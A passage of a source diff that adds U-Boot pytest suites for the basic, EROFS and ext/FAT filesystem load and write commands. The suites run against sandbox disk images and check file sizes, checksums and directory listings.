+ 'setenv filesize'])
+ assert('filesize=9c400000' in ''.join(output))
+
+ def test_fs4(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 4 - load a small file, 1MB
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 4 - load (small)'):
+ # Test Case 4a - Read full 1MB of small file
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 4b - Read full 1MB of small file
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+
+ def test_fs5(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 5 - load, reading first 1MB of 3GB file
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 5 - load (first 1MB)'):
+ # Test Case 5a - First 1MB of big file
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s %x 0x0' % (fs_type, ADDR, BIG_FILE, LENGTH),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 5b - First 1MB of big file
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[1] in ''.join(output))
+
+ def test_fs6(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 6 - load, reading last 1MB of 3GB file
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 6 - load (last 1MB)'):
+ # fails for ext as no offset support
+ # Test Case 6a - Last 1MB of big file
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s %x 0x9c300000'
+ % (fs_type, ADDR, BIG_FILE, LENGTH),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 6b - Last 1MB of big file
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[2] in ''.join(output))
+
+ def test_fs7(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 7 - load, 1MB from the last 1MB in 2GB
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 7 - load (last 1MB in 2GB)'):
+ # fails for ext as no offset support
+ # Test Case 7a - One from the last 1MB chunk of 2GB
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s %x 0x7ff00000'
+ % (fs_type, ADDR, BIG_FILE, LENGTH),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 7b - One from the last 1MB chunk of 2GB
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[3] in ''.join(output))
+
+ def test_fs8(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 8 - load, reading first 1MB in 2GB
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 8 - load (first 1MB in 2GB)'):
+ # fails for ext as no offset support
+ # Test Case 8a - One from the start 1MB chunk from 2GB
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s %x 0x80000000'
+ % (fs_type, ADDR, BIG_FILE, LENGTH),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 8b - One from the start 1MB chunk from 2GB
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[4] in ''.join(output))
+
+ def test_fs9(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 9 - load, 1MB crossing 2GB boundary
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 9 - load (crossing 2GB boundary)'):
+ # fails for ext as no offset support
+ # Test Case 9a - One 1MB chunk crossing the 2GB boundary
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s %x 0x7ff80000'
+ % (fs_type, ADDR, BIG_FILE, LENGTH),
+ 'printenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ # Test Case 9b - One 1MB chunk crossing the 2GB boundary
+ output = u_boot_console.run_command_list([
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[5] in ''.join(output))
+
+ def test_fs10(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 10 - load, reading beyond file end'):
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 10 - load (beyond file end)'):
+ # Generic failure case
+ # Test Case 10 - 2MB chunk from the last 1MB of big file
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s 0x00200000 0x9c300000'
+ % (fs_type, ADDR, BIG_FILE),
+ 'printenv filesize',
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert('filesize=100000' in ''.join(output))
+
+ def test_fs11(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 11 - write'
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 11 - write'):
+ # Read 1MB from small file
+ # Write it back to test the writes
+ # Test Case 11a - Check that the write succeeded
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+ '%swrite host 0:0 %x /%s.w $filesize'
+ % (fs_type, ADDR, SMALL_FILE)])
+ assert('1048576 bytes written' in ''.join(output))
+
+ # Test Case 11b - Check md5 of written to is same
+ # as the one read from
+ output = u_boot_console.run_command_list([
+ '%sload host 0:0 %x /%s.w' % (fs_type, ADDR, SMALL_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs12(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 12 - write to "." directory
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 12 - write (".")'):
+ # Next test case checks writing a file whose dirent
+ # is the first in the block, which is always true for "."
+ # The write should fail, but the lookup should work
+ # Test Case 12 - Check directory traversal
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%swrite host 0:0 %x /. 0x10' % (fs_type, ADDR)])
+ assert('Unable to write' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs13(self, u_boot_console, fs_obj_basic):
+ """
+ Test Case 13 - write to a file with "/./<filename>"
+ """
+ fs_type,fs_img,md5val = fs_obj_basic
+ with u_boot_console.log.section('Test Case 13 - write ("./<file>")'):
+ # Read 1MB from small file
+ # Write it via "same directory", i.e. "." dirent
+ # Test Case 13a - Check directory traversal
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+ '%swrite host 0:0 %x /./%s2 $filesize'
+ % (fs_type, ADDR, SMALL_FILE)])
+ assert('1048576 bytes written' in ''.join(output))
+
+ # Test Case 13b - Check md5 of written to is same
+ # as the one read from
+ output = u_boot_console.run_command_list([
+ 'mw.b %x 00 100' % ADDR,
+ '%sload host 0:0 %x /./%s2' % (fs_type, ADDR, SMALL_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+
+ # Test Case 13c - Check md5 of written to is same
+ # as the one read from
+ output = u_boot_console.run_command_list([
+ 'mw.b %x 00 100' % ADDR,
+ '%sload host 0:0 %x /%s2' % (fs_type, ADDR, SMALL_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
diff --git a/test/py/tests/test_fs/test_erofs.py b/test/py/tests/test_fs/test_erofs.py
new file mode 100644
index 00000000000..87ad8f2d5fd
--- /dev/null
+++ b/test/py/tests/test_fs/test_erofs.py
@@ -0,0 +1,220 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (C) 2022 Huang Jianan <jnhuang95@gmail.com>
+# Author: Huang Jianan <jnhuang95@gmail.com>
+
+import os
+import pytest
+import shutil
+import subprocess
+
+EROFS_SRC_DIR = 'erofs_src_dir'
+EROFS_IMAGE_NAME = 'erofs.img'
+
+def generate_file(name, size):
+ """
+ Generates a file filled with 'x'.
+ """
+ content = 'x' * size
+ file = open(name, 'w')
+ file.write(content)
+ file.close()
+
+def make_erofs_image(build_dir):
+ """
+ Makes the EROFS images used for the test.
+
+ The image is generated at build_dir with the following structure:
+ erofs_src_dir/
+ ├── f4096
+ ├── f7812
+ ├── subdir/
+ │   └── subdir-file
+ ├── symdir -> subdir
+ └── symfile -> f5096
+ """
+ root = os.path.join(build_dir, EROFS_SRC_DIR)
+ os.makedirs(root)
+
+ # 4096: uncompressed file
+ generate_file(os.path.join(root, 'f4096'), 4096)
+
+ # 7812: Compressed file
+ generate_file(os.path.join(root, 'f7812'), 7812)
+
+ # sub-directory with a single file inside
+ subdir_path = os.path.join(root, 'subdir')
+ os.makedirs(subdir_path)
+ generate_file(os.path.join(subdir_path, 'subdir-file'), 100)
+
+ # symlink
+ os.symlink('subdir', os.path.join(root, 'symdir'))
+ os.symlink('f7812', os.path.join(root, 'symfile'))
+
+ input_path = os.path.join(build_dir, EROFS_SRC_DIR)
+ output_path = os.path.join(build_dir, EROFS_IMAGE_NAME)
+ args = ' '.join([output_path, input_path])
+ subprocess.run(['mkfs.erofs -zlz4 ' + args], shell=True, check=True,
+ stdout=subprocess.DEVNULL)
+
+def clean_erofs_image(build_dir):
+ """
+ Deletes the image and src_dir at build_dir.
+ """
+ path = os.path.join(build_dir, EROFS_SRC_DIR)
+ shutil.rmtree(path)
+ image_path = os.path.join(build_dir, EROFS_IMAGE_NAME)
+ os.remove(image_path)
+
+def erofs_ls_at_root(u_boot_console):
+ """
+ Test if all the present files and directories were listed.
+ """
+ no_slash = u_boot_console.run_command('erofsls host 0')
+ slash = u_boot_console.run_command('erofsls host 0 /')
+ assert no_slash == slash
+
+ expected_lines = ['./', '../', '4096 f4096', '7812 f7812', 'subdir/',
+ '<SYM> symdir', '<SYM> symfile', '4 file(s), 3 dir(s)']
+
+ output = u_boot_console.run_command('erofsls host 0')
+ for line in expected_lines:
+ assert line in output
+
+def erofs_ls_at_subdir(u_boot_console):
+ """
+ Test if the path resolution works.
+ """
+ expected_lines = ['./', '../', '100 subdir-file', '1 file(s), 2 dir(s)']
+ output = u_boot_console.run_command('erofsls host 0 subdir')
+ for line in expected_lines:
+ assert line in output
+
+def erofs_ls_at_symlink(u_boot_console):
+ """
+ Test if the symbolic link's target resolution works.
+ """
+ output = u_boot_console.run_command('erofsls host 0 symdir')
+ output_subdir = u_boot_console.run_command('erofsls host 0 subdir')
+ assert output == output_subdir
+
+ expected_lines = ['./', '../', '100 subdir-file', '1 file(s), 2 dir(s)']
+ for line in expected_lines:
+ assert line in output
+
+def erofs_ls_at_non_existent_dir(u_boot_console):
+ """
+ Test if the EROFS support will crash when get a nonexistent directory.
+ """
+ out_non_existent = u_boot_console.run_command('erofsls host 0 fff')
+ out_not_dir = u_boot_console.run_command('erofsls host 0 f1000')
+ assert out_non_existent == out_not_dir
+ assert '' in out_non_existent
+
+def erofs_load_files(u_boot_console, files, sizes, address):
+ """
+ Loads files and asserts their checksums.
+ """
+ build_dir = u_boot_console.config.build_dir
+ for (file, size) in zip(files, sizes):
+ out = u_boot_console.run_command('erofsload host 0 {} {}'.format(address, file))
+
+ # check if the right amount of bytes was read
+ assert size in out
+
+ # calculate u-boot file's checksum
+ out = u_boot_console.run_command('md5sum {} {}'.format(address, hex(int(size))))
+ u_boot_checksum = out.split()[-1]
+
+ # calculate original file's checksum
+ original_file_path = os.path.join(build_dir, EROFS_SRC_DIR + '/' + file)
+ out = subprocess.run(['md5sum ' + original_file_path], shell=True, check=True,
+ capture_output=True, text=True)
+ original_checksum = out.stdout.split()[0]
+
+ # compare checksum
+ assert u_boot_checksum == original_checksum
+
+def erofs_load_files_at_root(u_boot_console):
+ """
+ Test load file from the root directory.
+ """
+ files = ['f4096', 'f7812']
+ sizes = ['4096', '7812']
+ address = '$kernel_addr_r'
+ erofs_load_files(u_boot_console, files, sizes, address)
+
+def erofs_load_files_at_subdir(u_boot_console):
+ """
+ Test load file from the subdirectory.
+ """
+ files = ['subdir/subdir-file']
+ sizes = ['100']
+ address = '$kernel_addr_r'
+ erofs_load_files(u_boot_console, files, sizes, address)
+
+def erofs_load_files_at_symlink(u_boot_console):
+ """
+ Test load file from the symlink.
+ """
+ files = ['symfile']
+ sizes = ['7812']
+ address = '$kernel_addr_r'
+ erofs_load_files(u_boot_console, files, sizes, address)
+
+def erofs_load_non_existent_file(u_boot_console):
+ """
+ Test if the EROFS support will crash when load a nonexistent file.
+ """
+ address = '$kernel_addr_r'
+ file = 'non-existent'
+ out = u_boot_console.run_command('erofsload host 0 {} {}'.format(address, file))
+ assert 'Failed to load' in out
+
+def erofs_run_all_tests(u_boot_console):
+ """
+ Runs all test cases.
+ """
+ erofs_ls_at_root(u_boot_console)
+ erofs_ls_at_subdir(u_boot_console)
+ erofs_ls_at_symlink(u_boot_console)
+ erofs_ls_at_non_existent_dir(u_boot_console)
+ erofs_load_files_at_root(u_boot_console)
+ erofs_load_files_at_subdir(u_boot_console)
+ erofs_load_files_at_symlink(u_boot_console)
+ erofs_load_non_existent_file(u_boot_console)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+@pytest.mark.buildconfigspec('cmd_erofs')
+@pytest.mark.buildconfigspec('fs_erofs')
+@pytest.mark.requiredtool('mkfs.erofs')
+@pytest.mark.requiredtool('md5sum')
+
+def test_erofs(u_boot_console):
+ """
+ Executes the erofs test suite.
+ """
+ build_dir = u_boot_console.config.build_dir
+
+ # If the EFI subsystem is enabled and initialized, EFI subsystem tries to
+ # add EFI boot option when the new disk is detected. If there is no EFI
+ # System Partition exists, EFI subsystem outputs error messages and
+ # it ends up with test failure.
+ # Restart U-Boot to clear the previous state.
+ # TODO: Ideally EFI test cases need to be fixed, but it will
+ # increase the number of system reset.
+ u_boot_console.restart_uboot()
+
+ try:
+ # setup test environment
+ make_erofs_image(build_dir)
+ image_path = os.path.join(build_dir, EROFS_IMAGE_NAME)
+ u_boot_console.run_command('host bind 0 {}'.format(image_path))
+ # run all tests
+ erofs_run_all_tests(u_boot_console)
+ except:
+ clean_erofs_image(build_dir)
+ raise AssertionError
+
+ # clean test environment
+ clean_erofs_image(build_dir)
diff --git a/test/py/tests/test_fs/test_ext.py b/test/py/tests/test_fs/test_ext.py
new file mode 100644
index 00000000000..05fefa53a0e
--- /dev/null
+++ b/test/py/tests/test_fs/test_ext.py
@@ -0,0 +1,355 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi <takahiro.akashi@linaro.org>
+#
+# U-Boot File System:Exntented Test
+
+"""
+This test verifies extended write operation on file system.
+"""
+
+import os.path
+import pytest
+import re
+from subprocess import check_output
+from fstest_defs import *
+from fstest_helpers import assert_fs_integrity
+
+PLAIN_FILE='abcdefgh.txt'
+MANGLE_FILE='abcdefghi.txt'
+
+def str2fat(long_filename):
+ splitext = os.path.splitext(long_filename.upper())
+ name = splitext[0]
+ ext = splitext[1][1:]
+ if len(name) > 8:
+ name = '%s~1' % name[:6]
+ return '%-8s %s' % (name, ext)
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestFsExt(object):
+ def test_fs_ext1(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 1 - write a file with absolute path
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 1 - write with abs path'):
+ # Test Case 1a - Check if command successfully returned
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/%s.w1 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ assert('20480 bytes written' in ''.join(output))
+
+ # Test Case 1b - Check md5 of file content
+ output = u_boot_console.run_command_list([
+ 'mw.b %x 00 100' % ADDR,
+ '%sload host 0:0 %x /dir1/%s.w1' % (fs_type, ADDR, MIN_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext2(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 2 - write to a file with relative path
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 2 - write with rel path'):
+ # Test Case 2a - Check if command successfully returned
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x dir1/%s.w2 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ assert('20480 bytes written' in ''.join(output))
+
+ # Test Case 2b - Check md5 of file content
+ output = u_boot_console.run_command_list([
+ 'mw.b %x 00 100' % ADDR,
+ '%sload host 0:0 %x dir1/%s.w2' % (fs_type, ADDR, MIN_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[0] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext3(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 3 - write to a file with invalid path
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 3 - write with invalid path'):
+ # Test Case 3 - Check if command expectedly failed
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/none/%s.w3 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ assert('Unable to write file /dir1/none/' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext4(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 4 - write at non-zero offset, enlarging file size
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 4 - write at non-zero offset, enlarging file size'):
+ # Test Case 4a - Check if command successfully returned
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/%s.w4 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /dir1/%s.w4 $filesize 0x1400'
+ % (fs_type, ADDR, MIN_FILE))
+ assert('20480 bytes written' in output)
+
+ # Test Case 4b - Check size of written file
+ output = u_boot_console.run_command_list([
+ '%ssize host 0:0 /dir1/%s.w4' % (fs_type, MIN_FILE),
+ 'printenv filesize',
+ 'setenv filesize'])
+ assert('filesize=6400' in ''.join(output))
+
+ # Test Case 4c - Check md5 of file content
+ output = u_boot_console.run_command_list([
+ 'mw.b %x 00 100' % ADDR,
+ '%sload host 0:0 %x /dir1/%s.w4' % (fs_type, ADDR, MIN_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[1] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext5(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 5 - write at non-zero offset, shrinking file size
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 5 - write at non-zero offset, shrinking file size'):
+ # Test Case 5a - Check if command successfully returned
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/%s.w5 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /dir1/%s.w5 0x1400 0x1400'
+ % (fs_type, ADDR, MIN_FILE))
+ assert('5120 bytes written' in output)
+
+ # Test Case 5b - Check size of written file
+ output = u_boot_console.run_command_list([
+ '%ssize host 0:0 /dir1/%s.w5' % (fs_type, MIN_FILE),
+ 'printenv filesize',
+ 'setenv filesize'])
+ assert('filesize=2800' in ''.join(output))
+
+ # Test Case 5c - Check md5 of file content
+ output = u_boot_console.run_command_list([
+ 'mw.b %x 00 100' % ADDR,
+ '%sload host 0:0 %x /dir1/%s.w5' % (fs_type, ADDR, MIN_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[2] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext6(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 6 - write nothing at the start, truncating to zero
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 6 - write nothing at the start, truncating to zero'):
+ # Test Case 6a - Check if command successfully returned
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/%s.w6 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /dir1/%s.w6 0 0'
+ % (fs_type, ADDR, MIN_FILE))
+ assert('0 bytes written' in output)
+
+ # Test Case 6b - Check size of written file
+ output = u_boot_console.run_command_list([
+ '%ssize host 0:0 /dir1/%s.w6' % (fs_type, MIN_FILE),
+ 'printenv filesize',
+ 'setenv filesize'])
+ assert('filesize=0' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext7(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 7 - write at the end (append)
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 7 - write at the end (append)'):
+ # Test Case 7a - Check if command successfully returned
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/%s.w7 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /dir1/%s.w7 $filesize $filesize'
+ % (fs_type, ADDR, MIN_FILE))
+ assert('20480 bytes written' in output)
+
+ # Test Case 7b - Check size of written file
+ output = u_boot_console.run_command_list([
+ '%ssize host 0:0 /dir1/%s.w7' % (fs_type, MIN_FILE),
+ 'printenv filesize',
+ 'setenv filesize'])
+ assert('filesize=a000' in ''.join(output))
+
+ # Test Case 7c - Check md5 of file content
+ output = u_boot_console.run_command_list([
+ 'mw.b %x 00 100' % ADDR,
+ '%sload host 0:0 %x /dir1/%s.w7' % (fs_type, ADDR, MIN_FILE),
+ 'md5sum %x $filesize' % ADDR,
+ 'setenv filesize'])
+ assert(md5val[3] in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext8(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 8 - write at offset beyond the end of file
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 8 - write beyond the end'):
+ # Test Case 8a - Check if command expectedly failed
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/%s.w8 $filesize'
+ % (fs_type, ADDR, MIN_FILE)])
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /dir1/%s.w8 0x1400 %x'
+ % (fs_type, ADDR, MIN_FILE, 0x100000 + 0x1400))
+ assert('Unable to write file /dir1' in output)
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext9(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 9 - write to a non-existing file at non-zero offset
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 9 - write to non-existing file with non-zero offset'):
+ # Test Case 9a - Check if command expectedly failed
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+ '%swrite host 0:0 %x /dir1/%s.w9 0x1400 0x1400'
+ % (fs_type, ADDR, MIN_FILE)])
+ assert('Unable to write file /dir1' in ''.join(output))
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext10(self, u_boot_console, fs_obj_ext):
+ """
+ 'Test Case 10 - create/delete as many directories under root directory
+ as amount of directory entries goes beyond one cluster size)'
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 10 - create/delete (many)'):
+ # Test Case 10a - Create many files
+ # Please note that the size of directory entry is 32 bytes.
+ # So one typical cluster may holds 64 (2048/32) entries.
+ output = u_boot_console.run_command(
+ 'host bind 0 %s' % fs_img)
+
+ for i in range(0, 66):
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /FILE0123456789_%02x 100'
+ % (fs_type, ADDR, i))
+ output = u_boot_console.run_command('%sls host 0:0 /' % fs_type)
+ assert('FILE0123456789_00' in output)
+ assert('FILE0123456789_41' in output)
+
+ # Test Case 10b - Delete many files
+ for i in range(0, 66):
+ output = u_boot_console.run_command(
+ '%srm host 0:0 /FILE0123456789_%02x'
+ % (fs_type, i))
+ output = u_boot_console.run_command('%sls host 0:0 /' % fs_type)
+ assert(not 'FILE0123456789_00' in output)
+ assert(not 'FILE0123456789_41' in output)
+
+ # Test Case 10c - Create many files again
+ # Please note no.64 and 65 are intentionally re-created
+ for i in range(64, 128):
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /FILE0123456789_%02x 100'
+ % (fs_type, ADDR, i))
+ output = u_boot_console.run_command('%sls host 0:0 /' % fs_type)
+ assert('FILE0123456789_40' in output)
+ assert('FILE0123456789_79' in output)
+
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext11(self, u_boot_console, fs_obj_ext):
+ """
+ 'Test Case 11 - create/delete as many directories under non-root
+ directory as amount of directory entries goes beyond one cluster size)'
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 11 - create/delete (many)'):
+ # Test Case 11a - Create many files
+ # Please note that the size of directory entry is 32 bytes.
+ # So one typical cluster may holds 64 (2048/32) entries.
+ output = u_boot_console.run_command(
+ 'host bind 0 %s' % fs_img)
+
+ for i in range(0, 66):
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /dir1/FILE0123456789_%02x 100'
+ % (fs_type, ADDR, i))
+ output = u_boot_console.run_command('%sls host 0:0 /dir1' % fs_type)
+ assert('FILE0123456789_00' in output)
+ assert('FILE0123456789_41' in output)
+
+ # Test Case 11b - Delete many files
+ for i in range(0, 66):
+ output = u_boot_console.run_command(
+ '%srm host 0:0 /dir1/FILE0123456789_%02x'
+ % (fs_type, i))
+ output = u_boot_console.run_command('%sls host 0:0 /dir1' % fs_type)
+ assert(not 'FILE0123456789_00' in output)
+ assert(not 'FILE0123456789_41' in output)
+
+ # Test Case 11c - Create many files again
+ # Please note no.64 and 65 are intentionally re-created
+ for i in range(64, 128):
+ output = u_boot_console.run_command(
+ '%swrite host 0:0 %x /dir1/FILE0123456789_%02x 100'
+ % (fs_type, ADDR, i))
+ output = u_boot_console.run_command('%sls host 0:0 /dir1' % fs_type)
+ assert('FILE0123456789_40' in output)
+ assert('FILE0123456789_79' in output)
+
+ assert_fs_integrity(fs_type, fs_img)
+
+ def test_fs_ext12(self, u_boot_console, fs_obj_ext):
+ """
+ Test Case 12 - write plain and mangle file
+ """
+ fs_type,fs_img,md5val = fs_obj_ext
+ with u_boot_console.log.section('Test Case 12 - write plain and mangle file'):
+ # Test Case 12a - Check if command successfully returned
+ output = u_boot_console.run_command_list([
+ 'host bind 0 %s' % fs_img,
+ '%swrite host 0:0 %x /%s 0'
+ % (fs_type, ADDR, PLAIN_FILE),
+ '%swrite host 0:0 %x /%s 0'
+ % (fs_type, ADDR, MANGLE_FILE)])
+ assert('0 bytes written' in ''.join(output))
+ # Test Case 12b - Read file system content
+ output = check_output('mdir -i %s' % fs_img, shell=True).decode()
+ # Test Case 12c - Check if short filename is not mangled
+ assert(str2fat(PLAIN_FILE) in ''.join(output))
+ # Test Case 12d - Check if long filename is mangled
+ assert(str2fat(MANGLE_FILE) in ''.join(output))
+
+ assert_fs_integrity(fs_type, fs_img)
diff --git a/test/py/tests/test_fs/test_fs_cmd.py b/test/py/tests/test_fs/test_fs_cmd.py
new file mode 100644
index 00000000000..700cf3591de
--- /dev/null
+++ b/test/py/tests/test_fs/test_fs_cmd.py
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020
+# Niel Fourie, DENX Software Engineering, lusus@denx.de
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_fstypes(u_boot_console):
+ """Test that `fstypes` prints a result which includes `sandbox`."""
